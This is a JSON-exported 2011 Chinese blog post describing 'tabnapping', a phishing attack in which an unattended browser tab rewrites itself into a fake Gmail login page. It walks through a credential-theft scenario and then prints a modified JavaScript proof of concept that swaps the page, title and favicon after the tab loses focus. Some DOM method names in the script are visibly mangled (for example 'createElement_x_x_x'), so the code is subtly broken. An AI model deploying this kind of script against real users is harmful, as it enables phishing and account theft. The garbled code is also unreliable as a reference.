﻿{"id":765,"date":"2011-11-30T20:09:42","date_gmt":"2011-11-30T12:09:42","guid":{"rendered":"http:\/\/notes.zerobox.org\/?p=765"},"modified":"2011-11-30T20:09:42","modified_gmt":"2011-11-30T12:09:42","slug":"%e6%96%b0%e5%bc%8f%e9%92%93%e9%b1%bc%e6%94%bb%e5%87%bb-%e6%b5%8f%e8%a7%88%e5%99%a8%e6%a0%87%e7%ad%be%e5%8a%ab%e6%8c%81","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/765.html","title":{"rendered":"\u65b0\u5f0f\u9493\u9c7c\u653b\u51fb-\u6d4f\u89c8\u5668\u6807\u7b7e\u52ab\u6301"},"content":{"rendered":"<p>\u6765\u6e90\uff1a<a href=\"http:\/\/blog.sina.com.cn\/s\/blog_7ba3bfc30100xbr9.html\">http:\/\/blog.sina.com.cn\/s\/blog_7ba3bfc30100xbr9.html<\/a><\/p>\n<p>\u4f5c\u8005\uff1asinrre<\/p>\n<p>&nbsp;<\/p>\n<p><span>\u00a0<wbr>\u00a0\u77e5\u9053\u8fd9\u79cd\u65b9\u5f0f\u662f\u5728\u4e00\u4e2a\u5883\u5916\u7684Hacker\u8bba\u575b\u770b\u5230\u4e00\u7bc7\u5e16\u5b50\uff0c\u5927\u5bb6\u5728\u4ea4\u6d41\u4e00\u79cd\u65b0\u7684\u653b\u51fb\u65b9\u5f0f\uff0c\u539f\u7406\u662f\u5229\u7528 javascript \u6765\u4fa6\u6d4b\u5df2\u5f00\u542f\u7684\u6807\u7b7e\uff0c\u7136\u540e\u5c06\u8be5\u9875\u9762\u4fee\u6539\u6210\u548c\u539f\u59cb\u7f51\u9875\u957f\u76f8\u4e00\u6837\u7684\u5047\u9875\u9762\uff0c\u8fdb\u884c\u9493\u9c7c\u653b\u51fb\u3002<\/wbr><\/span><\/p>\n<p><span>\u00a0<wbr>\u00a0<wbr>\u00a0<wbr>\u00a0\u8bba\u575b\u91cc\u628a\u8fd9\u79cd\u65b9\u5f0f\u5b9a\u4e49\u4e3a Tabnapping \uff0c\u53e6\u5916\u8fd8\u516c\u5e03\u4e86\u4e00\u4e2aPOC\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\u7814\u7a76\u4e86\u4e0b\uff0c\u662f\u4e00\u4e2aJS\u811a\u672c\uff0c\u8be5\u811a\u672c\u901a\u8fc7 window.onblur \u4e8b\u4ef6\u6765\u89e6\u53d1\u9875\u9762\u7684\u4fee\u6539\uff0c\u5728\u4fee\u6539\u9875\u9762\u5185\u5bb9\u7684\u540c\u65f6\uff0c\u8fd8\u4fee\u6539\u4e86\u9875\u9762\u4e0a\u7684\u00a0favicon \u548c titile \uff0c\u4ee5\u8fbe\u5230\u6df1\u5ea6\u7684\u6b3a\u9a97\u6548\u679c\u3002<\/wbr><\/wbr><\/wbr><\/span><\/p>\n<div><span>\u00a0<wbr>\u00a0<wbr>\u00a0<wbr>\u00a0\u8fd9\u91cc\u4e3e\u4e00\u4e2a\u6848\u4f8b\uff0c\u5982\u679c\u67d0\u4e2a\u653b\u51fb\u8005\u60f3\u8981\u5229\u7528\u8be5\u65b9\u5f0f\u53bb\u83b7\u53d6\u67d0\u4e2a\u76ee\u6807\u7684Gmail\u8d26\u53f7\u5bc6\u7801\uff0c\u90a3\u653b\u51fb\u8005\u53ea\u9700\u4effGmail\u767b\u9646\u7a97\u53e3\u505a\u4e00\u4e2a\u9493\u9c7c\u9875\u9762\uff0c\u7136\u540e\u5728\u9875\u9762\u4e0a\u591a\u5199\u4e00\u53e5\u8bdd\u201c\u60a8\u7684\u4f1a\u8bdd\u5df2\u8d85\u65f6\uff0c\u8bf7\u91cd\u65b0\u767b\u9646\u201d\uff0c\u5f53\u76ee\u6807\u5728Gmail\u91cc\u6253\u5f00\u4e00\u5c01\u6765\u81ea\u653b\u51fb\u8005\u53d1\u7684\u90ae\u4ef6\u65f6\uff0c\u76ee\u6807\u5bf9\u90ae\u4ef6\u91cc\u7684\u94fe\u63a5\u4ea7\u751f\u5174\u8da3\uff0c\u5728\u4e00\u4e2a\u65b0Tab\u4e0a\u6253\u5f00\u4e86\u653b\u51fb\u8005\u5236\u4f5c\u7684\u5305\u542b\u00a0Tabnapping \uff08\u4e0b\u9762\u7528TN\u8868\u793a\uff09JS\u811a\u672c\u7684\u90a3\u4e2a\u9875\u9762\u94fe\u63a5\uff0c\u76ee\u6807\u770b\u5b8c\u8fd9\u4e2aTab\u53bb\u770b\u5176\u4ed6Tab\u7684\u65f6\u5019\uff0c\u88ab\u611f\u67d3TN\u811a\u672c\u7684Tab\u6807\u7b7e\u5c31\u4f1a\u81ea\u52a8\u5728\u540e\u53f0\u641c\u7d22\u76ee\u6807\u662f\u5426\u5df2\u7ecf\u6253\u5f00Gmail\uff0c\u5982\u679c\u6253\u5f00\uff0c\u90a3\u8fd9\u4e2aTab\u5c31\u5728\u653b\u51fb\u8005\u8bbe\u5b9a\u7684\u51e0\u79d2\u949f\u5185\u4fee\u6539\u6210\u90a3\u4e2a\u9493\u9c7c\u9875\u9762\u3002\u5f53\u76ee\u6807\u56de\u5934\u70b9\u5f00\u90a3\u4e2aTab\u65f6\uff0c\u53d1\u73b0\u6709\u4e00\u4e2a\u201c\u4f1a\u8bdd\u5df2\u8d85\u65f6\u201d\u7684Gmail\u767b\u9646\u9875\u9762\uff0c\u5927\u610f\u7684\u76ee\u6807\u4f1a\u987a\u624b\u8f93\u5165\u4ed6\u7684\u8d26\u53f7\u5bc6\u7801\u8fdb\u884c\u767b\u9646\uff0c\u5728\u91cd\u5b9a\u5411\u5230\u771f\u5b9e\u90ae\u7bb1\u754c\u9762\u7684\u540c\u65f6\uff0c\u76ee\u6807\u7684\u8d26\u53f7\u5bc6\u7801\u5df2\u7ecf\u88ab\u4fdd\u5b58\u5230\u4e86\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668\u6216\u90ae\u7bb1\u91cc\uff0c\u4e4b\u6240\u4ee5\u53ef\u4ee5\u91cd\u5b9a\u5411\u767b\u9646\u5230\u771f\u5b9e\u7684\u90ae\u7bb1\u754c\u9762\u91cc\uff0c\u662f\u56e0\u4e3a\u76ee\u6807\u5df2\u7ecf\u5728\u53e6\u5916\u7684Tab\u5df2\u7ecf\u6253\u5f00\u4e86\u4e00\u4e2aGmail\uff0c\u4e4b\u524d\u7684COOKIES\u8fd8\u662f\u5b58\u6d3b\u7684\u3002\u8fd9\u6837\u6574\u4e2a\u9493\u9c7c\u8fc7\u7a0b\u5c31\u7ed3\u675f\u4e86\u3002<\/wbr><\/wbr><\/wbr><\/span><\/div>\n<div><span>\u00a0<wbr>\u00a0<wbr>\u00a0<wbr>\u00a0\u5206\u6790\u5c31\u5230\u8fd9\u91cc\uff0c\u8fc7\u591a\u7684\u5206\u6790\u4e5f\u662f\u60d8\u7136\uff0c\u5f88\u591a\u65f6\u5019\uff0c\u653b\u51fb\u4e0e\u9632\u5fa1\u90fd\u662f\u601d\u8def\u4e0a\u7684\u78b0\u649e\u3002<\/wbr><\/wbr><\/wbr><\/span><\/div>\n<div><span>\u00a0<wbr>\u00a0<wbr>\u00a0<wbr>\u00a0\u8fd9\u91cc\u9644\u4e00\u4efd\u4fee\u6539\u540e\u7684POC\u6837\u672c\uff08javascript\uff09:<\/wbr><\/wbr><\/wbr><\/span><\/div>\n<div><span style=\"color: #464646;\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;HOLD\u4f4f\u7684\u5206\u5272\u7ebf&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div>\n<div><span style=\"color: #464646;\">(function(){<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">var TIMER = null;<\/span><\/div>\n<div><span style=\"color: #464646;\">var HAS_SWITCHED = false;<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">\/\/ Events<\/span><\/div>\n<div><span style=\"color: #464646;\">window.onblur = function(){<\/span><\/div>\n<div><span style=\"color: #464646;\">TIMER = setTimeout(changeItUp, 5000);<\/span><\/div>\n<div><span style=\"color: #464646;\">parent.window.location.hash=&#8221;https:\/\/mail.google.com&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">window.onfocus = function(){<\/span><\/div>\n<div><span style=\"color: #464646;\">if(TIMER) clearTimeout(TIMER);<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">\/\/ Utils<\/span><\/div>\n<div><span style=\"color: #464646;\">function setTitle(text){ document.title = text; }<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">\/\/ This favicon object rewritten from:<\/span><\/div>\n<div><span style=\"color: #464646;\">\/\/ Favicon.js &#8211; Change favicon dynamically [http:\/\/ajaxify.com\/run\/favicon].<\/span><\/div>\n<div><span style=\"color: #464646;\">\/\/ Copyright (c) 2008 Michael Mahemoff. Icon updates only work in Firefox and Opera.<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">favicon = {<\/span><\/div>\n<div><span style=\"color: #464646;\">docHead: document.getElementsByTagName_r(&#8220;head&#8221;)[0],<\/span><\/div>\n<div><span style=\"color: #464646;\">set: function(url){<\/span><\/div>\n<div><span style=\"color: #464646;\">this.addLink(url);<\/span><\/div>\n<div><span style=\"color: #464646;\">},<\/span><\/div>\n<div><span style=\"color: #464646;\">addLink: function(iconURL) {<\/span><\/div>\n<div><span style=\"color: #464646;\">var link = document.createElement_x_x_x(&#8220;link&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">link.type = &#8220;image\/x-icon&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">link.rel = &#8220;shortcut icon&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">link.href = iconURL;<\/span><\/div>\n<div><span style=\"color: #464646;\">this.removeLinkIfExists();<\/span><\/div>\n<div><span style=\"color: #464646;\">this.docHead.appendChild(link);<\/span><\/div>\n<div><span style=\"color: #464646;\">},<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">removeLinkIfExists: function() {<\/span><\/div>\n<div><span style=\"color: #464646;\">var links = this.docHead.getElementsByTagName_r(&#8220;link&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">for (var i=0; i&lt;links.length; i++) {<\/span><\/div>\n<div><span style=\"color: #464646;\">var link = links[i];<\/span><\/div>\n<div><span style=\"color: #464646;\">if (link.type==&#8221;image\/x-icon&#8221; &amp;&amp; link.rel==&#8221;shortcut icon&#8221;) {<\/span><\/div>\n<div><span style=\"color: #464646;\">this.docHead.removeChild(link);<\/span><\/div>\n<div><span style=\"color: #464646;\">return; \/\/ Assuming only one match at most.<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">},<\/span><\/div>\n<div><span style=\"color: #464646;\">get: function() {<\/span><\/div>\n<div><span style=\"color: #464646;\">var links = this.docHead.getElementsByTagName_r(&#8220;link&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">for (var i=0; i&lt;links.length; i++) {<\/span><\/div>\n<div><span style=\"color: #464646;\">var link = links[i];<\/span><\/div>\n<div><span style=\"color: #464646;\">if (link.type==&#8221;image\/x-icon&#8221; &amp;&amp; link.rel==&#8221;shortcut icon&#8221;) {<\/span><\/div>\n<div><span style=\"color: #464646;\">return link.href;<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">};<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">function createShield(){<\/span><\/div>\n<div><span style=\"color: #464646;\">div = document.createElement_x_x_x(&#8220;div&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">div.style.position = &#8220;fixed&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">div.style.top = 0;<\/span><\/div>\n<div><span style=\"color: #464646;\">div.style.left = 0;<\/span><\/div>\n<div><span style=\"color: #464646;\">div.style.backgroundColor = &#8220;white&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">div.style.width = &#8220;100%&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">div.style.height = &#8220;100%&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">div.style.textAlign = &#8220;center&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">document.body.style.overflow = &#8220;hidden&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">document.body.topMargin=&#8221;0px&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">document.body.innerHTML=&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">img = document.createElement_x_x_x(&#8220;iframe&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">img.style.width = &#8220;100%&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">img.style.height=&#8221;1000px&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">img.style.border=&#8221;0px&#8221;<\/span><\/div>\n<div><span style=\"color: #464646;\">img.src = &#8220;http:\/\/www.baidu.com&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">var oldTitle = document.title;<\/span><\/div>\n<div><span style=\"color: #464646;\">var oldFavicon = favicon.get() || &#8220;\/favicon.ico&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">div.appendChild(img);<\/span><\/div>\n<div><span style=\"color: #464646;\">document.body.appendChild(div);<\/span><\/div>\n<div><span style=\"color: #464646;\">img.onclick = function(){<\/span><\/div>\n<div><span style=\"color: #464646;\">div.parentNode.removeChild(div);<\/span><\/div>\n<div><span style=\"color: #464646;\">document.body.style.overflow = &#8220;auto&#8221;;<\/span><\/div>\n<div><span style=\"color: #464646;\">setTitle(oldTitle);<\/span><\/div>\n<div><span style=\"color: #464646;\">favicon.set(oldFavicon)<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<div><span style=\"color: #464646;\">function changeItUp(){<\/span><\/div>\n<div><span style=\"color: #464646;\">if( HAS_SWITCHED == false ){<\/span><\/div>\n<div><span style=\"color: #464646;\">createShield(&#8220;https:\/\/mail.google.com&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">setTitle( &#8220;Gmail: Email from Google&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">favicon.set(&#8220;https:\/\/mail.google.com\/favicon.ico&#8221;);<\/span><\/div>\n<div><span style=\"color: #464646;\">HAS_SWITCHED = true;<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">}<\/span><\/div>\n<div><span style=\"color: #464646;\">})();<\/span><\/div>\n<\/div>\n<div><span style=\"color: #464646;\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;HOLD\u4f4f\u7684\u5206\u5272\u7ebf&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div><span style=\"color: #464646;\"><br \/>\n<\/span><\/div>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6765\u6e90\uff1ahttp:\/\/blog.sina.com.cn\/s\/blog_7ba3bf &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/765.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[173],"class_list":["post-765","post","type-post","status-publish","format-standard","hentry","tag-173"],"views":1154,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/765","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=765"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/765\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=765"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=765"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=765"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}